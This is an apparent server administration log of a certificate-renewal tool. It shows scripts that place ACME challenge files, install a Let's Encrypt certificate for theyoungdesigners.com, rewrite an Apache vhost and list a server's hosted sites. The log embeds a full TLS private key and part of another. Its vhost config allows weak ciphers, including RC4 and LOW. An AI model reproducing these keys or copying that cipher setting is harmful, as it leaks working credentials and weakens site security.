kiNVsq3eIRmKT3jfMvlOiCd31mTNJvf7SEEGREoBAoGBAIeo20m+zcY8ZlhqYOrs
LW4WywJuihYQ+FwBUonaIw83UdYi0tltHelEq1YKS8f+RR234jIG8a4x5xIXBxd7
QdItOe/DaA5x1KcEgGfBjazmzkwXpn4KWvdkOMowRN4oWJNIK7Y2ew5Vd+80UqfH
96lgZOu1seYnmpz6P64+iIt+
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-21 06:00:17: Establishing a connection
2025-11-21 06:00:18: Establishing a connection
2025-11-21 06:00:19:
PUT: /tmp/pkp766863
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-21 06:00:20:
chmod 755 /tmp/pkp766863; /tmp/pkp766863; rm /tmp/pkp766863
2025-11-21 06:00:20:
0
2025-11-22 06:00:01: Establishing a connection
2025-11-22 06:00:02: Establishing a connection
2025-11-22 06:00:02:
PUT: /tmp/pkp317602
#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-22 06:00:03:
chmod 755 /tmp/pkp317602; /tmp/pkp317602; rm /tmp/pkp317602
2025-11-22 06:00:03:
1
2025-11-22 06:00:05: Establishing a connection
2025-11-22 06:00:05:
PUT: /tmp/pkp900491
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo
cat > 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM
2025-11-22 06:00:05:
chmod 755 /tmp/pkp900491; /tmp/pkp900491; rm /tmp/pkp900491
2025-11-22 06:00:05:
2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17:
PUT: /tmp/pkp500005
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo
rm 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM
2025-11-22 06:02:17:
chmod 755 /tmp/pkp500005; /tmp/pkp500005; rm /tmp/pkp500005
2025-11-22 06:02:17:
2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17:
PUT: /tmp/pkp219795
#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt
cat > $temp_file <<'endmsg'
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-22 06:02:17:
chmod 755 /tmp/pkp219795; /tmp/pkp219795; rm /tmp/pkp219795
2025-11-22 06:02:17:
dir=/etc/ssl/certs
2025-11-22 06:02:17:
PUT: /tmp/pkp325987
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-available/theyoungdesigners_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-22 06:02:17:
chmod 755 /tmp/pkp325987; /tmp/pkp325987; rm /tmp/pkp325987
2025-11-22 06:02:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-22 06:02:17:
PUT: /tmp/pkp214457
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-available/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-available/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf= 1'
fi
2025-11-22 06:02:17:
chmod 755 /tmp/pkp214457; /tmp/pkp214457; rm /tmp/pkp214457
2025-11-22 06:02:17:
2025-11-22 06:02:17:
PUT: /tmp/pkp790080
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-22 06:02:17:
chmod 755 /tmp/pkp790080; /tmp/pkp790080; rm /tmp/pkp790080
2025-11-22 06:02:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17:
PUT: /tmp/pkp335124
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-22 06:02:18:
chmod 755 /tmp/pkp335124; /tmp/pkp335124; rm /tmp/pkp335124
2025-11-22 06:02:18:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-22 06:02:18:
PUT: /tmp/pkp354538
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-22 06:02:18:
chmod 755 /tmp/pkp354538; /tmp/pkp354538; rm /tmp/pkp354538
2025-11-22 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
